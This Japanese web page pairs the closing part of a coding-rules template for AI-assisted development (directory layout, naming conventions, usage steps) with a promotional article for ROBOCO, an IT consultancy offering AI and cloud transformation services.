ディレクトリ構造

• docs/：すべてのドキュメントファイル
  • architecture/：アーキテクチャ文書
  • guides/：開発者ガイド
  • runbooks/：運用マニュアル
• src/：ソースコード
  • core/：中核となるビジネスロジック
  • infrastructure/：インフラ関連のコード
  • api/：APIエンドポイント
• tests/：テストファイル

命名規則

• ファイル名：スネークケース（snake_case）を使用（例：user_service.py）
• クラス名：パスカルケース（PascalCase）を使用（例：UserService）
• 関数名と変数名：スネークケース（snake_case）を使用（例：get_user()）
• 定数：大文字スネークケース（UPPER_SNAKE_CASE）を使用（例：MAX_USERS）

5️⃣ 活用方法

このルールセットは、AI支援開発のためのテンプレートです。次のように使ってください。

1. プロジェクト開始時にこのルールを参照してください。
2. 必要に応じてルールを調整してください。
3. AIモデルにこのファイルの内容に従うよう指示してください。
4. プロジェクトを進めながら、このルールがどのように役立つかを評価してください。

このルールセットを通じて、AIとの協働はより効率的で予測可能なものになるでしょう。

「うちの会社もAIとクラウドを導入したいのですが、どこから、どう始めればいいのでしょうか？」 多くの企業がデジタルトランスフォーメーションを語りますが、いざ具体的な実行段階になると、複雑な技術的障壁や社内インフラ、人材の力量不足などにぶつかって難しさを訴えます。このようにAI・クラウドというキーワードはますます重要になっていますが、きちんとしたロードマップと専門性を備えなければ、実際の成果につなげるのは容易ではないのが現実です。

ROBOCO（Robot Co-worker） は、この課題を解くために立ち上げられたITコンサルティング企業です。AWSやGoogleなどグローバルIT企業出身のエンジニアたちが志を同じくして集まり、企業がデジタル革新を単に「試みる」だけで終わらせず、現場で機能し、同時に組織内部の力量も高められるよう支援しています。実際にROBOCOの設立メンバーはクラウド・AIプロジェクトを数多く手がけてきており、その過程で「会社の文化と社内の技術力が支えになっていなければ、どれほど良いソリューションを持ち込んでも長続きしない」という事実を身をもって実感してきました。

TL;DR

• ROBOCOは、企業のAI・クラウド導入が実際の現場で機能するよう支援するITコンサルティング企業です。
• 中核領域は、GenAIベースの開発自動化、クラウドネイティブなプラットフォームエンジニアリング、デジタルトランスフォーメーション、AIトランスフォーメーションです。
• すぐに適用できるソリューションと教育をあわせて提供し、コンサルティング終了後もお客様が力量を内在化できるよう支援します。

「私たちは技術でビジネス革新を実現します」

ROBOCOのミッションは、とてもシンプルで明快です。

お客様のビジネス革新を最新のAI技術で実現すること

そのために主要なビジネス領域をGenAIベースの開発自動化、クラウドネイティブなプラットフォームエンジニアリング、デジタルトランスフォーメーション、AIトランスフォーメーションの4つに定義し、それぞれの分野に特化した専門人材を擁しています。

• GenAIベースの開発自動化は、AIを活用して反復的なコーディング作業やテスト工程を自動化することで開発時間を大幅に短縮し、開発者がより創造的な問題解決に集中できるようにします。

• クラウドネイティブなプラットフォームエンジニアリングは、サーバーレスやコンテナオーケストレーションなどの最新クラウド技術を活用し、企業が拡張性のある安定したサービスを運用できるよう支援します。

• デジタルトランスフォーメーションは、レガシーシステムをクラウド・AI環境へ移行し、アジャイルな組織文化の定着までを支援することで、業務効率と機動力を同時に引き上げます。

• AIトランスフォーメーションは、企業全般に機械学習およびAIモデルを適用し、データに基づく意思決定と自動化を実現していく過程です。

「すぐ使えるソリューションと教育、その両方をお届けします」

ROBOCOが最も強調する差別化ポイントは、「実際に動作するソリューション」 と 「社内の力量強化」 を同時に提供するという点です。多くのコンサルティング企業は膨大な文書やプレゼン資料を上手に作ってくれますが、それを現場でどう実装するかは結局お客様の仕事として残される場合が少なくありません。これに対してROBOCOは、事前に検証されたフレームワーク、プロセス、ツールをお客様に提案し、それを即座に適用すると同時に教育プログラムを並行して行います。

これによりお客様は短い時間のうちに明確な成果物を得ると同時に、社内の人材が新しい技術やプロセスを自ら理解し運用できる基盤を持つことになります。つまり、コンサルティングが終わった後も社内に力量が蓄積されているので、追加のプロジェクトや拡張を企業自身が主導できるようになるわけです。

「グローバルIT企業出身の専門家が伴走します」

設立メンバーはそれぞれ、AWSのシニア開発者・トレーナー、Googleの上級開発者、スタートアップのフロントエンドおよび大手ECのバックエンド担当などの経歴を持っています。彼らは数多くの社内外プロジェクトを進めるなかで、「新しい技術を素早く導入したいが、いざとなると適切なパートナーを見つけるのが難しかった」という企業の悩みに繰り返し接してきました。

そこでROBOCOは自らを「Robot Co-worker」、すなわち「ロボットと協働する同僚」と称し、企業が望む革新を一緒につくり上げていくという意志を込めました。この名前は、AIと自動化を活用しつつも結局は人の力量と協働が最優先であるというメッセージを伝えると同時に、技術が人間の仕事を奪うのではなくより価値のある業務に集中できるよう手助けするという哲学を体現しています。

「デジタル革新を、このようにつくっています」

最近ROBOCOは、国内外のさまざまな企業と手を組んでデジタル・AI転換プロジェクトを遂行しています。たとえば、レガシーシステムを段階的にクラウドへ移行して運用コストを削減しつつサービスの安定性を高めた事例もあれば、生成AIによってマーケティングの自動化を実現し反応率を改善した事例もあります。何よりも、各プロジェクトの後に社内チームが新しく学んだ技術とプロセスを自ら運用できるようになったことで、長期的な自立の基盤が整ったというフィードバックをいただいています。 このようにROBOCOは、「実行と内在化」 という2つのキーワードを手放さず、お客様の実際の成果創出に焦点を当てたコンサルティングを目指しています。

「ROBOCOと一緒に新しい未来をつくってみませんか」

AIとクラウドはすでに逆らえない流れとなっており、それはもはや未来ではなく今すぐの課題です。ROBOCOはこれからも生成AI、マルチクラウドアーキテクチャ、MLOpsといった最新のトレンドに合わせて絶えず研究・開発を続け、企業が革新の波に乗れるよう支援していきます。

技術と人が協力し合って新しい可能性を生み出す旅路に、ROBOCOが頼れるパートナーとなれることを願っています。より速いAI・クラウドの革新と実質的な組織力量の強化を通じて、御社のビジネスを新たな次元へと飛躍させる経験を一緒につくっていきましょう。